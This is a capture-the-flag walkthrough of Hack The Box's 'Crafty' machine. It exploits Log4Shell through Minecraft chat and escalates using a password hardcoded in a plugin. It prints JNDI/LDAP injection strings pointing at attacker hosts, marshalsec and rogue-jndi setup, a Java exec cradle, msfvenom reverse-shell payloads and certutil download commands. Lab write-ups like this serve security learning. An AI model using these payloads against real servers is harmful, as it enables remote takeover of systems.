Crafty is an easy difficulty Windows machine on Hack The Box. It involves exploiting a vulnerable Minecraft server with the Log4j zero-day from 2021. After gaining a foothold on the box, a password is discovered inside a custom plugin that is used on the server, which can be used to elevate privileges to the Administrator user.
Enumeration
Enumeration began with an nmap scan.
Nmap
sudo nmap -sCV -oA nmap -p- TARGET-IP
After letting nmap run for a few minutes, it produced the following results:
Nmap scan report for TARGET-IP
Host is up (0.25s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://crafty.htb
25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
From the output, I could see that the following ports were open:
| Port | Service |
|---|---|
| 80 | HTTP |
| 25565 | Minecraft |
The machine appeared to be a Minecraft server. Everyone that has run their own Mincraft server will remember having to forward port 25565. I began enumerating the target by checking out web server.
Web Server
The web server was using name-based virtual hosting, redirecting requests to the crafty.htb domain.
To get to that domain, I added the target machine IP to my /etc/hosts file:
TARGET-IP crafty.htb
The website being hosted appeared to just be advertising the Minecraft server.
Minecraft and Log4j
I’m confident that most people interested in computers and security have heard of the Log4j zero-day. Log4j is a Java-based logging utility, and Minecraft is (originally) a Java application. It is well known that Minecraft uses Log4j to record various parameters such as server errors and even the messages that users send to the chat. The vulnerability in Log4j is present in versions 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1), and successful exploitation results in remote code execution.
I’m sure you can see where this is going…
Mojang (the developers of Minecraft) published an advisory warning users and server operators of the vulnerability in Log4j, urging them to upgrade to a newer version of Minecraft that is not affected by the bug. According to their article, versions 1.7 to 1.18 are affected. The version numbers are a little confusing. Here is their order:
Going back to the nmap scan, I saw that it reported the version of Minecraft running on the box to be 1.16.5. This box was clearly vulnerable to Log4shell.
JNDI and LDAP
Log4j allows information to be retrieved from other locations (places that are not on the local machine) which is then included in the log message. It supports multiple methods for retrieving this information, including JNDI (Java Naming and Directory Interface). JNDI allows Log4j to lookup Java object data, and it can do so using a number of different methods. One way to retrieve object data is to use LDAP (Lightweight Directory Access Protocol). The problem is that Log4j doesn’t properly check what is being returned.
Log4j performs substiution on expressions that look like the following:
${prefix:name}
Using this syntax, it can perform LDAP lookups, and include the response in the log message. An attacker trying to abuse this functionality might attempt to inject the following string into a log message:
${jndi:ldap://evil.com/bad-stuff}
This will lookup a Java object using the LDAP server evil.com. The LDAP server will respond with the location of the bad-stuff resource, which will be http://evil.com/bad-stuff. Log4j will retrieve bad-stuff from the HTTP server. When it attemps to perform substitution to place the retrieved resource (bad-stuff) into the log message, the code of bad-stuff will be executed.

Malicious Chat
You don’t actually need to run Minecraft to connect to a Minecraft server and start posting chat messages. There is a tool named pyCraft that allows you to connect to a Minecraft server in offline mode using the command line:
python3 start.py -s TARGET-IP -o
Once connected, I could send messages to the game chat.
Payload Building
Since the target was a Windows machine, the payload had to be written in PowerShell. You can view the payload that I used here.
Because the payload is being sent over the network, it needs to be encoded. Luckily, there is a very handy tool that can perform this task named ps-encoder. After saving the powershell payload to a file, I passed it through ps-encoder:
python3 ps-encoder.py -e payload
From here, there were a couple of methods for achieving remote code execution using the base64 encoded payload string that ps-encoder created.
Rogue-JNDI
I learned this after completing the machine, but you can actually use a tool named rogue-jndi for exactly this purpose:
# attacker machine
java -jar rogue-jndi.jar -n "ATTACKER-IP" -c "BASE64 ENCODED POWERSHELL PAYLOAD"
# malicious message
${jndi:ldap://ATTACKER-IP:1389/o=reference}
A nc listener is required to catch the incoming shell:
nc -lvnp 4444
Malicious LDAP and HTTP Servers
The other way to exploit the server is to host a malicious LDAP server and serve the malicious Java object yourself. This is the approach that I took while I was playing the box for the first time. One thing that I learnt is that when using this approach, the Java code must be compiled with Java version 8.
First, I began by getting a copy of the marshalsec repo, which contains an LDAP server:
git clone https://github.com/mbechler/marshalsec
Next, I packaged everything with Maven:
mvn clean package -DskipTests
After that, I started the HTTP and LDAP servers that were required to deliver the exploit:
# http
python3 -m http.server 8888
# ldap
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER-IP:8888/#Exploit"
Some boilerplate cradle code would be needed to form the Java object that Log4j would retrieve. The cradle code below was sourced from here.
1public class Exploit {
2 static {
3 try {
4 Runtime.getRuntime().exec("").waitFor();
5 } catch (Exception e) {
6 e.printStackTrace();
7 }
8 }
9}
The base64 encoded powershell payload was placed inside the exec() function, and the file was saved as Exploit.java. The exploit Java file was then compiled with Java version 8:
javac --release 8 Exploit.java
The compiled code was then placed in the directory that the HTTP server was serving files out of.
A nc listener was also started on the port defined in the PowerShell payload:
nc -lvnp 4444
Foothold
With the exploit compiled, the servers running, and a listener waiting, I sent the following message to the Minecraft server chat:
${jndi:ldap://ATTACKER-IP:1389/Exploit}
After a few seconds, a reverse shell was caught by the listener.
Privilege Escalation
I realised that the shells being created by the exploit were rather unstable. To overcome this, I created a meterpreter payload using msfvenom to get a more stable shell:
# attacking machine
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER-IP LPORT=ATTACKER-PORT -f exe > reverse.exe
I then used a local python server to serve the executable:
python3 -m http.sever
I used PowerShell to download the executable onto the target, however this was rather unreliable for some reason (possibly due to the shell instability):
# target machine
$url="http://ATTACKER-IP:8000/reverse.exe"
$outputPath="C:\users\svc_minecraft\Desktop\reverse.exe"
Invoke-Request -Uri $url -OutFile $outputPath
Start-Process -FilePath $outputPath
Using certutil proved to be much more reliable solution for downloading files onto this machine:
certutil -urlcache -f 'http://ATTACKER-IP:PORT/file.exe' C:\users\user\Desktop\file.exe
With a meterpreter session established, moving files to and from the target became much easier.
Post Exploitation
The privilege escalation for this box was interesting. It didn’t involve anything relating to the operating system, which I spent considerable time enumerating.
Every Minecraft server contains a set of standard files, such as file for recording banned players and the server .jar file itself. There is also a directory for server plugins, and it is here that the opportunity for privilege escalation presented itself.
Inside the plugins folder was a file named playercounter-1.0-SNAPSHOT.jar. I downloaded this file onto my attacking machine using the download command from meterpreter.
Opening Jars
Kali Linux has a tool that allows .jar files to be decompiled named jd-gui. Decompiling the jar reveals the following code:
1package htb.crafty.playercounter;
2
3import java.io.IOException;
4import java.io.PrintWriter;
5import net.kronos.rkon.core.Rcon;
6import net.kronos.rkon.core.ex.AuthenticationException;
7import org.bukkit.plugin.java.JavaPlugin;
8
9public final class PlayerCounter extends JavaPlugin {
10 public void onEnable() {
11 Rcon rcon = null;
12 try {
13 rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
14 } catch (IOException e) {
15 throw new RuntimeException(e);
16 } catch (AuthenticationException e2) {
17 throw new RuntimeException(e2);
18 }
19 String result = null;
20 try {
21 result = rcon.command("players online count");
22 PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
23 } catch (IOException e3) {
24 throw new RuntimeException(e3);
25 }
26 }
27
28 public void onDisable() {}
29}
Looking closely reveals a hardcoded password:
13rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
It is always a good idea to try whatever passwords you find on every user account on the system. Password reuse is a common problem, and happens more often than you’d think.
Administrator
Windows doesn’t allow you to use passwords on the command line in a one liner. As quoted by Raymond Chen and then re-quoted in this StackOverflow answer:
This was a conscious decision. If it were possible to pass the password on the command line, people would start embedding passwords into batch files and logon scripts, which is laughably insecure.
As such, it wasn’t possible to run a command as another user on this box, even with their password in hand. Help from other tools was required. There is a tool available named RunasCs that allows using a password on the command line. While this is indeed “laughably insecure”, it’s fine for a CTF.
Before running anything, I created another reverse shell .exe file for the Administrator:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER-IP LPORT=ATTACKER-PORT -f exe > reverse2.exe
After placing this onto the target and starting a nc listner, I used runascs to run it:
RunasCs.exe administrator s67u84zKq8IXw reverse2.exe
Using this shell, I found the flag on the Administrator user’s desktop at: C:\Users\Administrator\Desktop\root.txt.

Comments
Nothing yet. Say the first thing.
Sign in to join the conversation.